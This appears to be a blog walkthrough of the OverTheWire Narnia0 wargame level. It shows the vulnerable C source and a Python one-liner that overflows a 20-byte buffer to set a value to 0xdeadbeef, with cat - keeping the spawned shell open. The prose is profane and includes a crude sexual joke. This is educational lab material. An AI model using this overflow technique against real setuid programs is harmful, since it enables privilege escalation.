OverTheWire: Narnia0 - Basic Exploitation
OverTheWire.org is a website which hosts sever servers for learning linux/hacking/exploitation/crypto/web apps etc. etc… Narnia is there basic exploitation/intro to buffer overflow server.
Before continuing this, the reader is encouraged to/expected to have
- gone through all the levels on Bandit.
- have a basic understanding of C/C++
- have a basic understanding of *nix commands
- have a basic understanding of memory, the stack, and x86 assembly
- have a basic understanding of python to speed up exploitation
To start, you just need to ssh into the OverTheWire server. If this is your first time using ssh I strongly encourage you to ssh into bandit.
123loaded@redhat: ssh [email protected]
The OTW website lists all the commands necessary to solve each level. Just type “man command” to view the manual pages of any command, and progress accordingly.
Ok, so now go ahead and ssh into host narnia.labs.overthewire.org as user narnia0. The password to level 0 on each server is just the username of that server. So ssh [email protected], password narnia0. Once in, you’ll notice when you ‘ls’ to see what’s in your home directory that nothing is there. The narnia servers are a little misconfigured since they moved the entire thing over from intruded.net and don’t dump you into your own narnia# directory with the challenge in it like most servers do. A little digging around on the server and we find that all narnia challenges are stored in /games/narnia/. Go ahead and change directory into there and try to run narnia0.
narnia0@melinda:/games/narnia$ ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: deadbeef
buf: deadbeef
val: 0x41414141
WAY OFF!!!
narnia0@melinda:/games/narnia$
Hmmmm, let’s check out the source code of narnia0.c which they so kindly provide to us.
narnia0@melinda:/games/narnia$ cat narnia0.c
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef)
system("/bin/sh");
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
Ok, so in x86, as code is run, arguments are pushed onto and popped off of The Stack. The stack has a FILO(First In Last Out) implementation. I guess all of that is a little irrelevant right now for this level, but you’ll need to know everything about how the stack works in the next level or two of narnia, so I’ll link that info if I end up writing more about it. For now, just know that, as soon as main() is executed, any arguments that are passed to main will be pushed onto the stack, and then any variables of fixed length that are declared in said function will be pushed onto the stack. And while the stack grows “up” towards Lower memory addresses, data is written down towards higher memory addresses. So, val gets pushed onto the stack, and then char buf[20].
If we put more than 20 characters of data into buf[] it will overflow the bounds of buf[] and effectively smash the stack and overwrite memory below buf[], which we know from our knowledge of how the stack gets laid out, to be val. Let’s test this.
narnia0@melinda:/games/narnia$ ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: BBBBBBBBBBBBBBBBBBBBBBBB
buf: BBBBBBBBBBBBBBBBBBBBBBBB
val: 0x42424242
WAY OFF!!!
Ah ha! val is now “0x42424242” which is “BBBB” in printable ASCII. Conveniently, this code is written to scan in 24 bytes of data and try to insert them into buf[], which is only a 20 character buffer. So, we simply need to input 20 characters, or bytes, of data, and then smash val with 0xDEADBEEF. Easy right?
But wait 123loaded, DEADBEEF is 8 characters, how we gunna pull that one off? Remember, “0x” is the start of hex characters, and one Byte of data is 2 hex characters (ranging from 0-F). We need a program to print hex values, because they are not printable characters. Enter python.
narnia0@melinda:/games/narnia$ python -c ‘print “B”*20 + “\xEF\xBE\xAD\xDE”’
BBBBBBBBBBBBBBBBBBBBᆳ�
Cool! So now we just copy/paste that onto the terminal and we’re good right??
narnia0@melinda:/games/narnia$ ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: BBBBBBBBBBBBBBBBBBBBᆳ�
buf: BBBBBBBBBBBBBBBBBBBBᆳ�
val: 0xefadbeef
WAY OFF!!!
Wat.
After a couple hours of fucking around on the most basic of narnia levels and questioning your existence and the meaning of life, you realize that something goes awry when you try and copy/paste non-printable characters. Matter of fact, I’m pretty sure things also go wrong if you use input redirection to send the output of python to a file and then cat out that file and pipe it straight to narnia0. Turns out the only clean way is to pipe the output straight from our python command into narnia0, and it finally is correct.
narnia0@melinda:/games/narnia$ python -c ‘print “B”*20 + “\xEF\xBE\xAD\xDE”’ | ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBᆳ�
val: 0xdeadbeef
narnia0@melinda:
Errrrr, wat.
I don’t even.
Back to the drawing board. We’ve overwritten val with the value it wants… so logically, what is happening now? Well, it turns out, i̶f̶ ̶a̶ ̶p̶a̶r̶e̶n̶t̶ ̶p̶r̶o̶c̶e̶s̶s̶ ̶s̶p̶a̶w̶n̶s̶ ̶a̶ ̶c̶h̶i̶l̶d̶ p̶r̶o̶c̶e̶s̶s̶,̶ ̶t̶h̶e̶ ̶p̶a̶r̶e̶n̶t̶ ̶k̶i̶l̶l̶s̶ ̶a̶l̶l̶ ̶i̶t̶s̶ ̶c̶h̶i̶l̶d̶r̶e̶n̶ ̶u̶p̶o̶n̶ ̶t̶e̶r̶m̶i̶n̶a̶t̶i̶o̶n̶.̶.̶.̶
̶f̶u̶c̶k̶i̶n̶g̶ ̶h̶o̶r̶r̶i̶b̶l̶e̶ ̶p̶a̶r̶e̶n̶t̶ ̶n̶a̶r̶n̶i̶a̶0̶ ̶i̶s̶ the pipe sends an EOF (end of file) flag when it closes once the python command is finished executing which makes the system call return immediately, as it assumed the input is done. So, we need to keep narnia0 open so that our shell can pop and we can actually do things in the shell. After hours of fucking around with bash subscripting while trying to land a correct “whoami” from /bin/sh, this happens.
narnia0@melinda:/games/narnia$ (python -c ‘print “B”*20 + “\xEF\xBE\xAD\xDE”’;whoami) | ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBᆳ�
val: 0xdeadbeef
/bin/sh: 1: narnia0: not found
The command “whoami” still ran under narnia0 permissions, but our shell ran for a moment!! That’s the correct syntax to pass a command after our first one (just a semi colon in bash, followed by a legal second command). Now, with a little bash fu, and our knowledge learned from bandit we remember that executing “cat -” will attempt to cat stdIN… which means it will wait for input from the terminal, and not immediately end the command like “cat /some/file” or “whoami” would/did. And alas, we pop a shell. Harder, yet faster, than your mom’s cherry last night, you fucking time traveler.
narnia0@melinda:/games/narnia$ (python -c ‘print “B”*20 + “\xEF\xBE\xAD\xDE”’;cat -) | ./narnia0
Correct val’s value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBᆳ�
val: 0xdeadbeef
ls
narnia0 narnia1.c narnia3 narnia4.c narnia6 narnia7.c
narnia0.c narnia2 narnia3.c narnia5 narnia6.c narnia8
narnia1 narnia2.c narnia4 narnia5.c narnia7 narnia8.c
whoami
narnia1
Now with some digging around, find where the password to narnia1 is stored and cat it out. FuckYeah.jpg